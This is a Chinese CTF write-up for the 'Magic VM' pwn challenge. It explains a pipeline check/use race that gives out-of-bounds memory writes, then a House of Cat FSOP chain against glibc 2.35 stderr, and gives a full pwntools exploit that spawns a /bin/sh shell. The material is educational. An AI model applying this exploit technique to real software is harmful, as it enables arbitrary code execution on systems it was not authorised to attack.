Pwn VM writeup

国赛期间,做了一个很有意思的pwn题,顺便学了一下现在常见的pwn的板子题是什么样子的,这里做一下记录
Magic VM
题目逻辑
题目本身其实非常的有趣,它实现了一个简易流水线的功能,程序中包含四个结构体,其中三个分别对应流水线中的三个流程:

ID
ALU
MEM
程序用一个叫做vm的结构体来统筹这三个对象,并且使用vm_id vm_alu vm_mem来控制整体的逻辑处理过程。

struct attribute((aligned(8))) vm
{
char *reg0[4];
__int64 now_stack_ptr;
unsigned __int64 pc;
char *code_base;
__int64 data_base;
__int64 stack_base;
__int64 code_size;
__int64 data_size;
_int64 stack_size;
vm_id *id;
vm_alu *alu;
vm_mem *mem;
};

/* 6 */
struct attribute((aligned(8))) vm_alu
{
char *is_valid;
__int64 each_opcode_OPTYPE;
__int64 ops_total_type;
__int64 op1_addr_or_reg;
__int64 op2_addr_or_reg;
int result_type;
int mem_num;
__int64 dst_op_value;
__int64 alu_result;
__int64 now_stack_ptr;
__int64 stack_ptr;
};

/* 7 */
struct attribute((aligned(8))) vm_mem
{
int mem_valid_result_type;
int mem_idx;
__int64 dst_op_value;
__int64 src_alu_result;
__int64 now_stack_ptr;
__int64 next_vm;
};

/* 8 */
struct attribute((aligned(8))) vm_id
{
char *is_valid;
__int64 each_opcode;
__int64 ops1_total_type;
__int64 op1_addr_or_reg;
__int64 op2_addr_or_reg;
};

题目主要逻辑很简单,会用一个mmap的空间来作为代码段,数据段和栈帧:

void __fastcall vm::vm(vm *this)
{
vm_id *id; // rax
vm_alu *alu; // rax
vm_mem *mem; // rax
__int64 i; // rdx

this->code_base = (char *)mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
this->data_base = (_int64)(this->code_base + 0x2000);
this->stack_base = this->data_base + 0x3000;
this->data_size = 0x3000LL;
this->code_size = 0x2000LL;
this->stack_size
= 0x1000LL;

// skip code…
}
代码段大小为0x2000,数据段为0x3000,栈帧为0x1000。

±---------------------------+
| |
| 0x2000 code |
| |
| |
| |
| |
±---------------------------+
| |
| |
| 0x3000 data |
| |
| |
| |
| |
| |
| |
| |
±---------------------------+
| |
| 0x1000 stack |
| |
| |
±---------------------------+
其中代码段存放我们读入的数据作为指令,并且再vm::run中进行解码译码

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v3 = std::operator<<<std::char_traits>(&std::cout, “plz input your vm-code”);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits>);
read(0, my_vm.code_base, 0x2000uLL);
vm::run(&my_vm);
return 0;
}
解码逻辑如下

__int64 __fastcall vm::run(vm *vm)
{ // 第一次读取到id
// 第二次alu发生运算
// 第三次mem发生位移
__int64 v1; // rax
int v3; // [rsp+1Ch] [rbp-4h]

while ( 1 )
{
vm_alu::set_input(vm->alu, vm);
vm_mem::set_input(vm->mem, vm);
vm->pc += (int)vm_id::run(vm->id, vm);
v3 = vm_alu::run(vm->alu, vm);
vm_mem::run(vm->mem, vm);
if ( !v3 )
break;
if ( v3 == -1 )
{
v1 = std::operator<<<std::char_traits>(&std::cout, “SOME STHING WRONG!!”);
std::ostream::operator<<(v1, &std::endl<char,std::char_traits>);
exit(0);
}
}
return 0LL;
}
其中对应关系如下

vm_id::run:ID 译码阶段,进行指令的翻译和边界检查
vm_alu::run:ALU 阶段,对译码的指令进行执行,计算等
vm_mem::run:MEM 阶段,将计算阶段的结果存放在译码阶段指定的地址
循环开头的两个set_input会如同流水线般,将上次循环中得到的数据传递给下一个阶段:

         +----------+                                   
         |          |                                   

Loop 1 | ID 1 |
| |
±----±—+
|
±-------------+
|
±----------+ ±—v------+
| | | |
Loop 2 | ID 2 | | ALU 1 |
| | | |
±----±----+ ±----±----+
| |
| ±----------------+
±-------------+ |
| |
| |
±----------+ ±—v-------+ ±-----v-----+
| | | | | |
Loop 3 | ID 3 | | ALU 2 | | MEM 1 |
| | | | | |
±----------+ ±-----------+ ±-----------+
可以得出结论:

当前指令再循环1被ID解析的读入数据,会在循环3被MEM进行存储

举例来说,假设对于指令mov r1, r2,这个程序的处理逻辑如下:

第一次循环中,由vm_id读取指令,解析操作数
第二次循环中,在vm_alu::set_input中,将id中的数据传递给alu,此时调用vm_alu::run进行计算操作
第三次循环中,在vm_mem::set_input中,将alu中的数据传递给mem,此时调用vm_mem::run进行赋值操作
在这个虚拟机中,无论操作寄存器,还是内存地址,均需要使用三步操作完成。

由前面的定义可知,程序的id中只记录操作类型,alu记录操作类型,计算结果和存储位置,mem仅记录存储位置。

ID 译码
在译码阶段,会涉及虚拟机的一些支持的指令类型,在虚拟机中包含三个寄存器,以及栈帧,支持地址访问和十种操作:

opcode = {
“ADD”:1,
“SUB”:2,
“SHL”:3,
“SHR”:4,
“MOV”:5,
“AND”:6,
“OR”:7,
“XOR”:8,
“PUSH”:9,
“POP”:10,
“NOP”:11,
}
指令格式如下

[opcode][optype][value1][value2]
其中optype定义了两个操作数的类型。第1,2bit用于定义第一个操作数的类型,第3,4bit用于定义第二个操作数类型。类型支持如下三种

NUM(1):仅当成数据,value长度为8字节
REG(2):作为寄存器下标(0~3)value长度为1字节
ADDR(3):将value作为寄存器下标(0~3),取寄存器的值当成地址,
其中,当我们的使用id解析类似mov r1, [r2]的模拟指令的时候,会检查r2是否超出了database的范围

else if ( ope1_type == OP_ADDR ) // 均为1,作为地址解析
{
opcode_len = 3;
v6 = buf_ptr_next2;
buf_ptr_next2 = (__int64 *)((char *)buf_ptr_next2 + 1);
v13 = *(_BYTE )v6;
if ( vm_id::check_addr(id, (unsigned __int64)vm->reg0[
(char *)v6], vm) ) // 检查当前寄存器中指向的值是否越界
{
id->each_opcode = each_opcode;
id->op1_addr_or_reg = v13; // 此时为地址
}
else
{
id->each_opcode = -1LL;
}
}
如果直接使用寄存器,则同样的也会检测选择寄存器的时候是否会选择0~3以外的寄存器

if ( ope1_type == OP_REG ) // 检查第一个ops类型
{
opcode_len = 3;
v5 = buf_ptr_next2;
buf_ptr_next2 = (__int64 *)((char *)buf_ptr_next2 + 1);
v12 = *(_BYTE *)v5;
if ( vm_id::check_regs(id, *(char *)v5, vm) )// 检查是否为寄存器
{
id->each_opcode = each_opcode;
id->op1_addr_or_reg = v12; // 此时为寄存器
}
else
{
id->each_opcode = -1LL;
}
}
之后,ID对象就会记录以下数据,之后会在下一个循环中传递给ALU

指令
操作数类型
操作数1
操作数2
ALU 计算
在ALU进行计算的时候,会根据由ID传递的操作类型,取出对应的寄存器或者内存地址

v4 = vm_alu->ops_total_type & 3;
if ( v4 == OP_REG ) // 检查第一个操作数的类型
{
vm_alu->mem_num = 1;
vm_alu->dst_op_value = (__int64)&vm->reg0[vm_alu->op1_addr_or_reg];// 寄存器的操作
vm_alu->op1_addr_or_reg = (__int64)vm->reg0[vm_alu->op1_addr_or_reg];
}
else
{
if ( v4 != OP_ADDR )
return 0xFFFFFFFFLL; // 第一个类型需要为地址,同时使得op1_addr_or_reg为越界的地址
if ( (vm_alu->ops_total_type & 0xC) == 12 )
return 0xFFFFFFFFLL;
vm_alu->mem_num = 1;
vm_alu->dst_op_value = (__int64)&vm->reg0[vm_alu->op1_addr_or_reg][vm->data_base];// 否则,作为地址操作
vm_alu->op1_addr_or_reg = *(_QWORD *)&vm->reg0[vm_alu->op1_addr_or_reg][vm->data_base];// vm_start+op1_offset+data_base
}
注意,在ALU中,会把我们的操作数1作为目的操作数,无论里面指定的是寄存器还是内存地址,都会取出其指针放在dst_op_value,之后就会进行运算操作。

switch ( vm_alu->each_opcode_OPTYPE )
{
case ADD:
vm_alu->alu_result = vm_alu->op2_addr_or_reg + vm_alu->op1_addr_or_reg;
break;
case MIN:
vm_alu->alu_result = vm_alu->op1_addr_or_reg - vm_alu->op2_addr_or_reg;
break;
case LMOV:
vm_alu->alu_result = vm_alu->op1_addr_or_reg << vm_alu->op2_addr_or_reg;
break;
case RMOV:
vm_alu->alu_result = (unsigned __int64)vm_alu->op1_addr_or_reg >> vm_alu->op2_addr_or_reg;
break;
case OP2:
vm_alu->alu_result = vm_alu->op2_addr_or_reg;
break;
case AND:
vm_alu->alu_result = vm_alu->op2_addr_or_reg & vm_alu->op1_addr_or_reg;
break;
case OR:
vm_alu->alu_result = vm_alu->op2_addr_or_reg | vm_alu->op1_addr_or_reg;
break;
case XOR:
vm_alu->alu_result = vm_alu->op2_addr_or_reg ^ vm_alu->op1_addr_or_reg;
break;
default:
goto EXITCALC;
}
goto EXITCALC;
完成计算后,下列值会被保留,传递给MEM

alu_result:计算的结果
dst_op_value:用于存放运算结果的地址
mem_num:发生了变化的内存地址,如果是PUSH或者POP指令,此时会需要改变内存地址的值(栈指针,栈指向的内存)
result_type:表示当前运算是否有效(指令是否正确等等),会传递给MEM的mem_valid_result_type成员
MEM 存放
MEM部分比较简单,会根据来自ALU传递的值进行赋值处理

__int64 __fastcall vm_mem::run(vm_mem *this, vm *a2)
{
__int64 mem_valid; // rax
int i; // [rsp+1Ch] [rbp-4h]

mem_valid = (unsigned int)this->mem_valid_result_type;
if ( (_DWORD)mem_valid )
{
for ( i = 0; ; ++i )
{
mem_valid = (unsigned int)this->mem_idx;
if ( i >= (int)mem_valid )
break;
**((_QWORD **)&this->dst_op_value + 2 * i) = *(&this->src_alu_result + 2 * i);
}
}
return mem_valid;
}
这里再提一次,在这个虚拟机模拟过程中,虽然它也实现了寄存器,但是对寄存器的操作本质上等同对内存地址空间的操作,也是使用引用进行赋值,所以本质上等同内存操作。

程序漏洞
乍一看,程序的执行非常有逻辑:

ID 解析指令,并且检查访问是否越界
ALU 根据ID 解析的结果进行数据的分析计算
MEM 存储对应的数据
但是这里有一个非常典型的问题,那就是:检查和使用不处在同一个上下文中。这句话怎么理解呢?对于这个题目而言,上下文就是指在同一个循环中。我们根据题目会发现,程序进行变量检查的时候发生在ID环节,而当进入ALU环节的时候,已经在下一个循环,而进入MEM环节,甚至在下两个循环了。这样会有什么问题呢?让我们假设一系列指令如下:

0:add r1, 0xffff
1:mov r1, 0
2:add r2, [r1]
3:nop
4:nop
最初的时候,0被解析

0:add r1, 0xffff < — ID
1:mov r1, 0
2:add r2, [r1]
3:nop
4:nop
当执行1的时候,1被解析,0被计算

0:add r1, 0xffff < — ALU
1:mov r1, 0 < — ID
2:add r2, [r1]
3:nop
4:nop
我们来讨论当执行2的时候,发生了什么

0:add r1, 0xffff < — MEM
1:mov r1, 0 < — ALU
2:add r2, [r1] < — ID
3:nop
4:nop
正常逻辑上讲,当我们执行到2的时候,由于r1=0xffff,超出了database,此时理论上这条指令是没办法由ID进行解析的。然而实际上此时执行的内容是这样的

0:add r1, 0xffff < — MEM
1:mov r1, 0 < — ALU
2:add r2, [0] < — ID 这里发生了什么?
3:nop
4:nop
正如我们前面提到的流水线问题,这里r1也正处在MEM阶段,而且根据代码逻辑,此时为ID->ALU->MEM的调用顺序,也就是说此时的r1仍未被正确赋值。
那么根据逻辑来说,此时的2这条指令能够通过ID的解码阶段。那么,当执行3的时候,会变成这样

0:add r1, 0xffff
1:mov r1, 0 < — MEM
2:add r2, [r1] < — ALU
3:nop < — ID
4:nop
根据执行顺序,此时的ALU阶段中,r1已经被赋值成了0xffff,但是依然通过了ID的check。

0:add r1, 0xffff
1:mov r1, 0 < — MEM
2:add r2, [0xffff] < — ALU 发生了越界访问!!!
3:nop < — ID
4:nop
综合流程,我们可以通过这个漏洞获得越界的任意地址加减的能力。

EXP
实际上,这个题目基本上也算是获得了任意位置读写的能力,不过在比赛期间我比较着急,没有想的那么清楚,以为只有一个任意地址加减的能力,下文也将以这个前提讨论漏洞利用。

由于本人不太熟悉2.35的利用手法,于是咨询了队友,在队友的提示下考虑到可以通过文件指针操作来进行攻击,攻击方式可以参考这里 提到的一种叫做House of cat的攻击策略,简单来说就是FSOP,但是使用的是_OI_wfile_JUMP的表,并且利用类似House of Emma的思路,对vtable偏移进行微调,从而实现调用seekoff函数,实现劫持。

程序自带一个exit函数,所以当我们完成了指令的编写之后,它自然会通过exit退出程序,通过_IO_flush_all_lockp诱发漏洞。

这种利用方式其实蛮多人利用过,这位师傅已经讲的很清楚了,我基本上就是照着这位师傅提到的点进行布局。
在这道题在做的时候,有一个小坑,在这个文章中的评论区也有人提到,也就是mode参数不对:

__off64_t __fastcall IO_wfile_seekoff(_IO_FILE *file, __int64 offset, unsigned int dir, int mode)
{
v4 = a1;
v101 = __readfsqword(0x28u);
wide_data = file->_wide_data;
if ( !a4 )
{
// 这其中无法使用当前攻击流程
}

_IO_write_base = (unsigned __int64)wide_data->_IO_write_base;
_IO_write_ptr = (unsigned __int64)wide_data->_IO_write_ptr;
v9 = offset;
if ( *(_OWORD *)&wide_data->_IO_read_base == PAIR128(_IO_write_ptr, wide_data->_IO_read_end) )
{
LODWORD(v93) = 1;
}
else
{
LODWORD(v93) = 0;
if ( _IO_write_base < _IO_write_ptr )
goto LABEL_4;
}
if ( (file->_flags & 0x800) == 0 )
{
if ( wide_data->_IO_buf_base )
goto LABEL_6;
goto LABEL_36;
}
LABEL_4:
v10 = IO_switch_to_wget_mode(&file->_flags); /// 关键要进入这个函数
}

__int64 __fastcall IO_switch_to_wget_mode(_IO_FILE *a1)
{
struct _IO_wide_data *wide_data; // rax
wchar_t *IO_write_ptr; // rdx
__int64 result; // rax
int flags; // ecx

wide_data = a1->_wide_data;
IO_write_ptr = wide_data->_IO_write_ptr;
if ( IO_write_ptr > wide_data->_IO_write_base )
{
result = (*((__int64 (__fastcall **)(_IO_FILE *, __int64))wide_data->_wide_vtable + 3))(a1, 0xFFFFFFFFLL); // 关注这里
if ( (_DWORD)result == -1 )
return result;
wide_data = a1->_wide_data;
IO_write_ptr = wide_data->_IO_write_ptr;
}
// 包含其他逻辑
}
攻击链使用的是IO_switch_to_wget_mode函数,但是这个函数需要在参数mode!=0的时候触发,而在这道题的时候不满足这条条件,追踪调用流能看到对应的位置发生赋值的地方:

__int64 __fastcall IO_flush_all_lockp(int a1){

// 省略部分代码
if ( file->_mode > 0 )
{
_wide_data = file->_wide_data;
v3 = _wide_data->_IO_write_base;
if ( _wide_data->_IO_write_ptr > v3 )
goto LABEL_8;
}
else if ( file->_IO_write_ptr > file->_IO_write_base )
{
LABEL_8:
vtable = *(_QWORD *)&file[1]._flags;
if ( &unk_7FC0EAE64768 - (_UNKNOWN *)qword_7FC0EAE63A00 <= (unsigned __int64)(vtable - (_QWORD)qword_7FC0EAE63A00) )
{
v14 = *(_QWORD *)&file[1]._flags;
sub_7FC0EACD6EF0(lock, vtable - (_QWORD)qword_7FC0EAE63A00);
vtable = v14;
}
lock = (__int64 )&file->_flags;
if ( (
(unsigned int (__fastcall **)(void *, __int64, void *, void *))(vtable + 24))( //OVERFLOW 函数调用
file,
0xFFFFFFFFLL,
(void *)v8,
v3) == -1 )

其实本来这里的v3(也就是第四个参数mode)是不存在的,但是毕竟我们是强制修改了调用函数的位置,所以这里相当于强行激活了这个参数。
观察程序可知,第四个参数来自于_wide_data->_IO_write_base,同时还必须保证file->_mode > 0以及_wide_data->_IO_write_ptr > _wide_data->_IO_write_base才能满足,于是这个位置新增需求如下

file->_mode > 0
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base(只有大于才会赋值v3)
_wide_data->_IO_write_base != 0(满足seekoff函数的mode)
梳理所有的需求,可以知道这个板子的调用条件为:

FILE->_IO_write_base_IO_write_ptr
wide_data->_IO_write_base < wide_data->_IO_write_ptr
wide_data->_IO_read_end != wide_data->_IO_read_ptr
FILE->_lock可写(这一个条件来自于之前提到的_IO_flush_all_lockp函数要求)
file->_mode > 0
_wide_data->_IO_write_base != 0(满足seekoff函数的mode)
总共六条。同时为了实现利用,需要修改如下的点:

FILE->flag=“/bin/sh”
wide_data->jump(0xe0 offset)->0x18 = system
两条要求,总共八条。

一些踩坑
由于我以为题目仅有任意地址加减的能力,于是在利用过程中使用了已有的stderr 流,利用其中残留的指针进行相对偏移,从而实现漏洞利用。
我这里使用的是异常流,但是为了诱导程序触发flush,需要保证异常流中存在缓存。而这一题默认情况下异常流是空的,所以还需要通过主动的修改FILE->_IO_write_base_IO_write_ptr来保证攻击能够触发。
整体exp如下

from pwn import *

“”"
[opcode][optype][value1][value2]
“”"

opcode = {
“ADD”:1,
“SUB”:2,
“LMOV”:3,
“RMOV”:4,
“OP2”:5,
“AND”:6,
“OR”:7,
“XOR”:8,
“PUSH”:9,
“POP”:10,
“NOP”:11,
}

push and pop will select this one default

RET_REG = 1

def generate_type(t):
if t == “NUM”:
# address
return 1
elif t == “ADDR”:
# address
return 3
else:
# register
return 2

push last value into stack

def push_value():
shellcode = b’’
shellcode += p8(opcode[“PUSH”])
# push value
# optype
shellcode += p8(generate_type(“REG”))
# opvalue, select reg1
shellcode += b’\x01’
return shellcode

push last value into stack

def add_value(value):
shellcode = b’’
shellcode += p8(opcode[“ADD”])
# push value
# optype
# add reg,num
shellcode += p8(((generate_type(“NUM”) << 2) | generate_type(“REG”)))
# opvalue, select reg1
shellcode += p8(RET_REG)
shellcode += p64(value)

return shellcode

def sub_value_reg(value):
shellcode = b’’
shellcode += p8(opcode[“SUB”])
# push value
# optype
# sub [reg],num
shellcode += p8(((generate_type(“NUM”) << 2) | generate_type(“REG”)))
# opvalue, select reg1
shellcode += p8(RET_REG)
shellcode += p64(value)

return shellcode

def sub_value(value):
shellcode = b’’
shellcode += p8(opcode[“SUB”])
# push value
# optype
# sub [reg],num
shellcode += p8(((generate_type(“NUM”) << 2) | generate_type(“ADDR”)))
# opvalue, select reg1
shellcode += p8(RET_REG)
shellcode += p64(value)

return shellcode

def xor_value_reg(value):
shellcode = b’’
shellcode += p8(opcode[“XOR”])
shellcode += p8(((generate_type(“NUM”) << 2) | generate_type(“REG”)))
# opvalue, select reg1
shellcode += p8(3)
shellcode += p64(value)

return shellcode

pop value out of stack

def pop_value():
shellcode = b’’
shellcode += p8(opcode[“POP”])
# push value
# optype
shellcode += p8(generate_type(“REG”))
# opvalue, select reg1
shellcode += b’\x01’
return shellcode

set result with value and reg

def set_value_reg(value, reg):
shellcode = b’’
shellcode += p8(opcode[“OP2”])
# push value
# optype
types = ((generate_type(“NUM”) << 2) | generate_type(“REG”))
shellcode += p8(types)
# opvalue, select reg1
shellcode += p8(reg)
# opvalue as op2
shellcode += p64(value)
return shellcode

def nop():
shellcode = b’’
shellcode += p8(opcode[“NOP”])
return shellcode

OFFSET_TO_LIBC = 0x9000
def off(offset):
return OFFSET_TO_LIBC+offset

def generate_read(offset, value):
shellcode = b’’
# here set the mov offset
shellcode += add_value(offset) # ID
shellcode += set_value_reg(0, RET_REG) # ALU
# here use add/sub to calculate the
shellcode += sub_value(value) # ID -> MEM
shellcode += nop() # ALU calculate
shellcode += nop() # MEM saving data

return shellcode

context.terminal = [‘tmux’, ‘splitw’, ‘-h’, ‘-F’ ‘#{pane_pid}’, ‘-P’]

ph = process(“./pwn”)

gdb.attach(ph)

libc offset

LIBC_STDERR = 0x21b6a0

stderr_vtable = libc + 0xd8

STDERR_VTABLE = LIBC_STDERR + 0xd8

wide_data = libc + 0x21a8a0

WIDE_DATA = 0x21a8a0

IO_READ_PTR = wide_data+0 bypass check1

IO_READ_PTR_OFF = 0

IO_READ_PTR = wide_data+0 bypass check2

IO_WRITE_PTR_OFF = 0x20

OVERFLOW call

WFILE_JUMP = 0x2170c0
_IO_WOVERFLOW_OFFSET=0x18

modify it to system

SYSTEM = 0x50D70
_IO_WFILE_OVERFLOW = 0x086390

IO_2_1_stderr+131 = 0x7f492b71a723

system = 0x7f492b54fd70

system_off = IO_2_1_stderr+131 - system = 0x1ca9b3

minuse to /bin/sh

SYSTEM_OFF = _IO_WFILE_OVERFLOW - SYSTEM

modified vtable

IO_wfile_jumps

_IO_file_jumps - _IO_wfile_jumps + 0x30(offset to seekoff)

modify vtbale

modify _wide_data(0xa0)->_IO_read_ptr

modify _wide_data(0xa0)->_IO_write_ptr

_wide_data(0xe0)??? no need to modify

_wide_data->WFILE_JUMP->IO(0x18)

x /40gx (char*)&IO_2_1_stderr

0xffffffffffffba20

finally comes to function _IO_switch_to_wget_mode to call

shellcode1 = generate_read(off(STDERR_VTABLE), 0x510) + generate_read(off(LIBC_STDERR+0x28), 0xffffffffffffff00)+ generate_read(off(LIBC_STDERR+0xc0), 0xffffffffffffffff) + generate_read(off(WIDE_DATA), 0xfffffffffffffaf0) + generate_read(off(WIDE_DATA+0x18), 0xfffffffffffffaf0) + generate_read(off(WIDE_DATA+0x20), 0xfffffffffffffa00) + generate_read(off(WIDE_DATA+0x20), 0xffffffffffffff00) + generate_read(off(WIDE_DATA+0xe0), 0xffffffffffffba20) + generate_read(off(LIBC_STDERR+0x18), 0x1ca9b3) + generate_read(off(LIBC_STDERR), 0xff978cd18d43be58)

set debug

debug_shellcode = xor_value_reg(0)
debug_shellcode += nop()
debug_shellcode += nop()

ph.sendline(shellcode1+debug_shellcode)

ph.interactive()

总结
题目的设计非常有意思,流水线是一种比较实际的场景,这种漏洞模式在真实场景中甚至会存在,具有学习价值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/915922.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计算机三级 数据库技术

第一章 数据库应用系统开发方法 1.1 数据库应用系统生命周期 软件工程:软件工程的思想&#xff0c;即用工程的概念、原理、技术和方法对软件生产、开发的全过程进行跟踪和管理 软件开发方法:瀑布模型、快速原型模型、螺旋模型 DBAS生命周期模型 1.2 规划与分析 系统规划与定…

使用 AMD GPU 推理 Mixtral 8x22B

Inferencing with Mixtral 8x22B on AMD GPUs — ROCm Blogs 2024年5月1日&#xff0c;由 Clint Greene撰写。 简介 自从Mistral AI’s AI发布了Mixtral 8x7B以来&#xff0c;专家混合&#xff08;MoE&#xff09;在AI社区重新获得了关注。受此发展启发&#xff0c;多个AI公…

前后端、网关、协议方面补充

这里写目录标题 前后端接口文档简介前后端视角对于前端对于后端代码注册路由路由处理函数 关于httpGET/POST底层网络关于前端的获取 路由器网关路由器的IP简介公网IP(WAN IP)私网IP(LAN IP)无线网络IP(WIFI IP)查询路由器私网IP路由器公网IP LAN口与WIFI简介基本原理 手动配置电…

leetcode104:二叉树的最大深度

给定一个二叉树 root &#xff0c;返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;3示例 2&#xff1a; 输入&#xff1a;root [1,null,2] 输出…

大语言模型理论基础

文章目录 前言大语言模型必需知识概述大语言模型目标模型上下文神经网络的神经元常见激活函数SigmoidTanhRelusoftmax 通用近似定理多层感知机&#xff08;MLP&#xff09;拟合最后 前言 你好&#xff0c;我是醉墨居士&#xff0c;我们接下来对大语言模型一探究竟&#xff0c;…

关于VUE NPM安装失败的问题

最近使用 npm install --registryhttps://registry.npmmirror.com 安装一个新项目的依赖&#xff0c;各种失败。 最后发现是package-lock里面有老的淘宝的域名&#xff0c;整体替换掉就行了

【数据结构】宜宾大学-计院-实验七

实验七 二叉树 一、实验目的&#xff1a;二、实验内容&#xff1a;三、实验结果&#xff1a;1,2&#xff1b;3,4,5;6.数组顺序存储的优缺点二叉链表存储的优缺点 一、实验目的&#xff1a; 掌握二叉树的顺序存储结构 掌握二叉树的链式存储结构 二、实验内容&#xff1a; 1&am…

游戏如何应对内存修改

据观察&#xff0c;近年来游戏黑灰产攻击角度多样化趋势显著&#xff0c;主要面临工作室、定制注入挂、模拟点击挂、内存修改挂、破解版等多方面安全问题。 据FairGuard数据统计&#xff0c;在游戏面临的众多安全风险中&#xff0c;「内存修改」攻击占比约为13%&#xff0c;主…

git重置的四种类型(Git Reset)

git区域概念 1.工作区:IDEA中红色显示文件为工作区中的文件 (还未使用git add命令加入暂存区) 2.暂存区:IDEA中绿色(本次还未提交的新增的文件显示为绿色)或者蓝色(本次修改的之前版本提交的文件但本次还未提交的文件显示为蓝色)显示的文件为暂存区中的文件&#xff08;使用了…

Clickhouse集群新建用户、授权以及remote权限问题

新建用户 create user if not exists user on cluster 集群名称 IDENTIFIED WITH plaintext_password BY 密码;给用户授查询、建表、删表的权限 GRANT create table,select,drop table ON 数据库实例.* TO user on cluster 集群名称 ;再其他节点下用户建本地表成功&#…

Exploring Defeasible Reasoning in Large Language Models: A Chain-of-Thought A

文章目录 题目摘要简介准备工作数据集生成方法实验结论 题目 探索大型语言模型中的可废止推理&#xff1a;思路链 论文地址&#xff1a;http://collegepublications.co.uk/downloads/LNGAI00004.pdf#page136 摘要 许多大型语言模型 (LLM) 经过大量高质量数据语料库的训练&…

应用程序部署(IIS的相关使用,sql server的相关使用)

数据服务程序&#xff08;API&#xff09;部署 1、修改配置文件 打开部署包中的web.config配置文件&#xff0c;确认数据库登录名和密码正确 修改ip为电脑IP&#xff08;winR输入cmd&#xff0c;输入ipconfig&#xff0c;IPv4对应的就是本机IP&#xff09; 2、打开IIS&#x…

RHCE-DNS域名解析服务器

一、DNS简介 DNS &#xff08; Domain Name System &#xff09;是互联网上的一项服务&#xff0c;它作为将域名和 IP 地址相互映射的一个分布式 数据库&#xff0c;能够使人更方便的访问互联网。 DNS 系统使用的是网络的查询&#xff0c;那么自然需要有监听的 port 。 DNS 使…

插入排序(sort)C++

链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 时间限制&#xff1a;C/C/Rust/Pascal 1秒&#xff0c;其他语言2秒 空间限制&#xff1a;C/C/Rust/Pascal 512 M&#xff0c;其他语言1024 M 64bit IO Format: %lld 题目描述 插入排序是一种…

Vue2:脚手架 vue-cli

Vue2&#xff1a;脚手架 vue-cli 结构renderrefpropsmixinscoped 脚手架是Vue官方提供的Vue开发平台&#xff0c;.vue文件就需要通过脚手架来解析&#xff0c;所以对于单文件组件就依赖于脚手架。 安装&#xff1a; npm i -g vue/cli如果执行vue --version有输出&#xff0c;…

【MYSQL】主从复制机制(图解)

一、什么是主从复制 主从复制是一种通过binlog&#xff08;二进制日志&#xff09;进行操作的一直复制机制&#xff0c;它会有一个主数据库&#xff0c;还会有一个从数据库&#xff0c;根据binlog就可以把主数据库中的信息复制到从数据库之中。这个主从复制的好处就是如果在并发…

SpringCloud Gateway网关路由配置 接口统一 登录验证 权限校验 路由属性

介绍 Spring Cloud Gateway 根据请求的路径、HTTP 方法、头部等信息&#xff0c;将请求路由到对应的微服务实例。它支持基于动态路由规则的配置&#xff0c;可以根据请求的 URL、查询参数、请求头等条件&#xff0c;灵活地决定将请求转发到哪个微服务。Spring Cloud Gateway 提…

Java学习Day60:回家!(ElasticStatic)

1.what is ElasticStatic The Elastic Stack, 包括 Elasticsearch、 Kibana、 Beats 和 Logstash&#xff08;也称为 ELK Stack&#xff09;。能够安全可靠地获取任何来源、任何格式的数据&#xff0c;然后实时地对数据进行搜索、分析和可视化。 Elaticsearch&#xff0c;简称…

《进制转换:数字世界的奇妙变身术》

思维导图 一、什么是进制转换 在当今数字化飞速发展的时代&#xff0c;数字如同构建整个数字宇宙的基本粒子&#xff0c;无处不在且发挥着至关重要的作用。而在这个数字的魔法世界里&#xff0c;进制就像是不同的语言规则&#xff0c;每种进制都有着独特的构建方式和逻辑。 我…

Unity3D高级编程

1、标签(Tag)和图层(Layer) 他们都用于游戏物体分类&#xff0c;但是侧重点不一样。 标签便于代码中对特定物体进行操作。 图层则服务于渲染和碰撞管理&#xff0c;如控制摄像机渲染、光源影响及碰撞设置。 标签和图层的位置&#xff1a; &#xff08;1&#xff09;标签Tag…